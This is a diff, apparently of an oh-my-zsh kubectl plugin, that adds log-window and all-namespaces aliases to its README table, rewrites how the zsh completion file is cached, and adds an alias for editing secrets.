| kgdwide | `kgd -o wide` | After getting the deployment, output in plain-text format with any additional information | | kgdwide | `kgd -o wide` | After getting the deployment, output in plain-text format with any additional information |
| ked | `kubectl edit deployment` | Edit deployment resource from the default editor | | ked | `kubectl edit deployment` | Edit deployment resource from the default editor |
@@ -91,7 +99,13 @@ plugins=(... kubectl)
| kgaa | `kubectl get all --all-namespaces` | List the requested object(s) across all namespaces | | kgaa | `kubectl get all --all-namespaces` | List the requested object(s) across all namespaces |
| | | **Logs** | | | | **Logs** |
| kl | `kubectl logs` | Print the logs for a container or resource | | kl | `kubectl logs` | Print the logs for a container or resource |
| kl1h | `kubectl logs --since 1h` | Print logs from the last hour for a container or resource |
| kl1m | `kubectl logs --since 1m` | Print logs from the last minute for a container or resource |
| kl1s | `kubectl logs --since 1s` | Print logs from the last second for a container or resource |
| klf | `kubectl logs -f` | Stream the logs for a container or resource (follow) | | klf | `kubectl logs -f` | Stream the logs for a container or resource (follow) |
| klf1h | `kubectl logs --since 1h -f` | Stream logs from the last hour for a container or resource (follow) |
| klf1m | `kubectl logs --since 1m -f` | Stream logs from the last minute for a container or resource (follow) |
| klf1s | `kubectl logs --since 1s -f` | Stream logs from the last second for a container or resource (follow) |
| | | **File copy** | | | | **File copy** |
| kcp | `kubectl cp` | Copy files and directories to and from containers | | kcp | `kubectl cp` | Copy files and directories to and from containers |
| | | **Node management** | | | | **Node management** |
@@ -102,12 +116,14 @@ plugins=(... kubectl)
| kdelno | `kubectl delete node` | Delete the node | | kdelno | `kubectl delete node` | Delete the node |
| | | **Persistent Volume Claim management** | | | | **Persistent Volume Claim management** |
| kgpvc | `kubectl get pvc` | List all PVCs | | kgpvc | `kubectl get pvc` | List all PVCs |
| kgpvca | `kubectl get pvc --all-namespaces` | List all PVCs across all namespaces |
| kgpvcw | `kgpvc --watch` | After listing/getting the requested object, watch for changes | | kgpvcw | `kgpvc --watch` | After listing/getting the requested object, watch for changes |
| kepvc | `kubectl edit pvc` | Edit pvcs from the default editor | | kepvc | `kubectl edit pvc` | Edit pvcs from the default editor |
| kdpvc | `kubectl describe pvc` | Describe all pvcs | | kdpvc | `kubectl describe pvc` | Describe all pvcs |
| kdelpvc | `kubectl delete pvc` | Delete all pvcs matching passed arguments | | kdelpvc | `kubectl delete pvc` | Delete all pvcs matching passed arguments |
| | | **StatefulSets management** | | | | **StatefulSets management** |
| kgss | `kubectl get statefulset` | List the statefulsets in ps format | | kgss | `kubectl get statefulset` | List the statefulsets in ps format |
| kgssa | `kubectl get statefulset --all-namespaces` | List statefulsets across all namespaces |
| kgssw | `kgss --watch` | After getting the list of statefulsets, watch for changes | | kgssw | `kgss --watch` | After getting the list of statefulsets, watch for changes |
| kgsswide | `kgss -o wide` | After getting the statefulsets, output in plain-text format with any additional information | | kgsswide | `kgss -o wide` | After getting the statefulsets, output in plain-text format with any additional information |
| kess | `kubectl edit statefulset` | Edit statefulset resource from the default editor | | kess | `kubectl edit statefulset` | Edit statefulset resource from the default editor |
@@ -121,6 +137,7 @@ plugins=(... kubectl)
| kdelsa | `kubectl delete sa` | Delete the service account | | kdelsa | `kubectl delete sa` | Delete the service account |
| | | **DaemonSet management** | | | | **DaemonSet management** |
| kgds | `kubectl get daemonset` | List all DaemonSets in ps output format | | kgds | `kubectl get daemonset` | List all DaemonSets in ps output format |
| kgdsa | `kubectl get daemonset --all-namespaces` | List all DaemonSets across all namespaces |
| kgdsw | `kgds --watch` | After listing all DaemonSets, watch for changes | | kgdsw | `kgds --watch` | After listing all DaemonSets, watch for changes |
| keds | `kubectl edit daemonset` | Edit DaemonSets from the default editor | | keds | `kubectl edit daemonset` | Edit DaemonSets from the default editor |
| kdds | `kubectl describe daemonset` | Describe all DaemonSets in detail | | kdds | `kubectl describe daemonset` | Describe all DaemonSets in detail |
+6 -1
View File
@@ -10,7 +10,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_kubectl" ]]; then
_comps[kubectl]=_kubectl _comps[kubectl]=_kubectl
fi fi
kubectl completion zsh 2> /dev/null >| "$ZSH_CACHE_DIR/completions/_kubectl" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_kubectl"
zf_mv -f -- =( kubectl completion zsh 2> /dev/null ) "$TMPPREFIX"
} &|
# This command is used a LOT both below and in daily life # This command is used a LOT both below and in daily life
alias k=kubectl alias k=kubectl
@@ -89,6 +93,7 @@ alias kdelcm='kubectl delete configmap'
# Secret management # Secret management
alias kgsec='kubectl get secret' alias kgsec='kubectl get secret'
alias kgseca='kubectl get secret --all-namespaces' alias kgseca='kubectl get secret --all-namespaces'
alias kesec='kubectl edit secret'
alias kdsec='kubectl describe secret' alias kdsec='kubectl describe secret'
alias kdelsec='kubectl delete secret' alias kdelsec='kubectl delete secret'

Some files were not shown because too many files have changed in this diff Show More